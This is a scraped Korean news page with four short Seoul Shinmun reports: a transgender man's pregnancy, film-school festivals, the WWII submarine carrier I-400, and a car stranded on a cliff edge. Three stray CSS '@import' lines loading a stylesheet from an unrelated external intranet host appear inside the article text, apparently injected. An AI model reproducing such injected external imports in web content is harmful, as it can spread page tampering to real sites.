@import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
  • 세계 두번째 ‘임신한 남자’ 만삭사진 공개

    세계 최초 ‘임신한 남자’인 토마스 비티에 이어 두 번째로 임신한 남자가 된 미국인 스콧 무어(30)가 다음달 출산을 앞둔 것으로 알려졌다. 최근 스콧은 평범한 임산부와 다를 바 없는 만삭의 배를 공개했다. 11살 때 성 정체성에 혼란을 느낀 스콧은 가족들을 설득해 15살부터 남성 호르몬 주사를 맞기 시작했고, 얼마 뒤 성전환 수술을 받았다. 2007년에는 본인처럼 여성으로 태어나 성전환 수술 후 남성이 된 남편 토마스와 결혼했다. 아이를 간절히 원한 두 사람은 여성 생식기관을 적출하지 않은 스콧을 통해 아이를 낳기로 결심했다. 이들은 익명을 고집한 한 남성의 정자를 수정한 끝에 지난해 6월 임신에 성공했다. 스콧은 “어떤 사람들은 우리를 비판하기도 하지만, 우리는 현재 너무 행복하고 전혀 부끄럽지 않다.”고 말했다. 한편 스콧에 앞선 최초의 임신한 남자인 토마스 비티는 첫째에 이어 지난해 둘째 딸을 출산해 화제를 모으기도 했다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr@import'http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css';
  • 제2 봉준호·박찬옥 나올까

    제2 봉준호·박찬옥 나올까

    ‘괴물’의 봉준호 감독, ‘봄날은 간다’의 허진호 감독, ‘스캔들’의 이재용 감독, ‘타짜’의 최동훈 감독…. 이들의 공통점은? 영화사관학교로 불리는 한국영화아카데미 출신이라는 점이다. 그렇다면 ‘고양이를 부탁해’의 정재은 감독, ‘미쓰 홍당무’의 이경미 감독, ‘추격자’의 나홍진 감독, ‘파주’의 박찬옥 감독의 공통점은 무엇일까. 한국예술종합학교 영상원 출신들이다. 한국 영화의 미래를 엿볼 수 있는 영화제가 잇따라 열린다. 영화진흥위원회 부설 한국영화아카데미는 새달 4일부터 나흘 동안 서울 홍대앞 상상마당에서 ‘2010 한국영화아카데미 영화제’(www.kafafilm.com)를 연다. 영화가 바이러스처럼 널리 퍼지기를 바란다는 뜻에서 감기와 영화의 합성어인 ‘인필름엔자’를 슬로건으로 내세웠다. 정규과정 26기가 만든 실습작품 35편과 장편제작연구과정 2기가 만든 작품 4편, 해외초청작 2편 등 총 41편이 나온다. 이 가운데 ‘나는 곤경에 처했다’(소상민 감독), ‘너와 나의 21세기’(류형기 감독), ‘로망은 없다’(박재옥·홍은지 감독), ‘여자없는 세상’(송재윤 감독) 등은 지난해 11월 극장에도 걸렸던 작품들이다. 영상원은 26일 닷새 일정으로 롯데시네마 홍대입구점에서 ‘2010 영상원 영화과 졸업영화제’(www.kartsfilm.com)를 시작했다. 올해 12회째인 영화제는 ‘롤링’(Rolling)을 부제로 달았다. 롤링은 카메라가 돌고 있다는 뜻이다. 재학생과 졸업생 작품 52편을 상영한다. 영상원 교수들과 박찬옥 감독, 최찬규 촬영감독이 꼽은 추천작은 30일 집중 상영된다. 김진영의 ‘나를 믿어줘’, 한정국의 ‘보험금 지급 연산법’을 비롯한 10편이다. 한예종과 중국 북경전영학원 학생 40여명이 중국에서 한달간 함께 만든 ‘모멘트’도 관심 대상. 시나리오 전공자들이 준비한 시나리오 발표회는 29일 상상마당 인근 클럽 무대륙에서 열린다.두 영화제 모두 무료로 관람할 수 있다. 홍지민기자 icarus@seoul.co.kr
  • 67년전 日야심, 세계잠수함 모델되다

    잠수항모라는 게 있다. 잠수함과 항공모함을 합친 개념으로 보면 된다. 전투기를 싣고 다니는 잠수함이라니 좀 뜬금없어 보일 수 있겠다. 하지만, 제2차 세계대전 때 실제로 등장했다. 미국의 원자폭탄, 독일의 V-2 로켓과 함께 시대를 초월한 무기로 꼽혔다. 2차 대전 당시 일본이 회심의 비밀병기로 잠수항모를 만들었다. 진주만 공습 이후 야마모토 이소로쿠 일본 해군 제독은 잠수함의 은밀성과 항공모함의 화력을 결합시켜 미국 본토를 공격하려는 계획을 세웠다. 그 핵심이 바로 잠수항모 I-400이었다. 1943년 초 일본은 I-400 제작에 돌입했다. 당시 철과 노동력 부족을 겪고 있던 탓에 18척 제작이 계획됐다. 일본은 화학병기를 탑재할 궁리도 했다고 한다. 그런데 야마모토 제독이 숨지며 잠수항모 제작 규모는 9척까지 줄어든다. 1944년 말 드디어 첫 I-400이 완성됐다. 전체 길이가 122m로 현재 미 해군의 주력인 LA급 원자력 잠수함보다 5m 길다. 수중 배수량은 6500t. 31m의 격납고엔 전투기 3정을 탑재할 수 있었다. 잠수함 역사상 가장 큰 140㎜포 1문과 대공화기 4기, 어뢰발사장치 8개도 장착했다. I-400과 후속 모델 I-401은 파나마 운하를 파괴하기 위해 출항한다. 그러나 잠수항모들이 공격을 감행하기 전에 일본은 항복 선언을 하고 만다. 종전 뒤 미국은 I-400등을 연구하기 시작한다. 그러나 같은 승전국이었던 소련이 첨단 기술을 습득하지 못하게 하기 위해 1946년 5월 진주만 인근 해역에 잠수항모들을 침몰시킨다. 재미있는 것은 1950년대 이후 이 잠수항모를 빼닮은 미군 잠수함들이 등장하기 시작했다는 것이다. 다큐멘터리 전문 내셔널지오그래픽채널은 29일 밤 12시 ‘일본의 비밀무기, 잠수항모 I-400’을 방송한다. 역사 전문가 3명이 뭉쳐 2차 대전 뒤 세계 잠수함의 모델이 된 이 비밀병기를 파헤친다. I-400 승무원과 미국 참전 군인들의 증언도 곁들여진다. 지난해 11월 내셔널지오그래픽의 탐사팀과 하와이 해저탐사연구소는 하와이 남쪽 해저 920m 지점에서 I-401을 찾아내기도 했다. 홍지민기자 icarus@seoul.co.kr
  • 아슬아슬…수 십m 벼랑에 걸친 자동차

    삐걱삐걱… 아슬아슬… 영화 ‘클리프행어’를 연상시키는 장면이 중국서 연출됐다. 지난 19일 오전 10시 경, 소형차 한 대가 중국 푸저우의 한 산길을 지나다가 엔진이 갑자기 꺼지는 사고가 발생했다. 수 십 미터 가량을 미끄러진 차는 낭떠러지에 다다랐고, 운전자가 다급하게 브레이크를 밟았다. 차는 다행히 멈춰 섰지만, 뒷바퀴 2개는 이미 낭떠러지 밖으로 떨어진 후였다. 조금의 무게만 가해져도 수 십m 아래로 추락할 수 있는 위험한 상황이었다. 게다가 행인조차 없어 섣불리 차 밖을 나설 수도 없는 일이었다. 경찰에 사고신고를 했지만 워낙 산골이라 시간이 걸린다는 어두운 답변만 돌아왔다. 운전자는 “오르막길을 거의 다 올라와서 평지에 다다랐을 쯤 엔진이 갑자기 꺼졌다. 브레이크도 말을 듣지 않았다.”며 “차는 순식간에 절벽 끝까지 미끄러졌고, 나는 어떤 방법도 쓸 수 없었다.”고 당시를 떠올렸다. 사고가 발생한 지 3시간이 지나서야, 운전자는 출동한 구조대와 행인들의 도움으로 무사히 차에서 빠져나올 수 있었다. 운전자는 “영화에서나 볼 법한 아슬아슬한 경험을 내가 직접 하게 될 줄은 몰랐다.”며 안도의 한 숨을 내쉬었다. 서울신문 나우뉴스 송혜민기자 huimin0217@seoul.co.kr @import’http://intranet.sharptravel.co.kr/INTRANET_COM/worldcup.css’;
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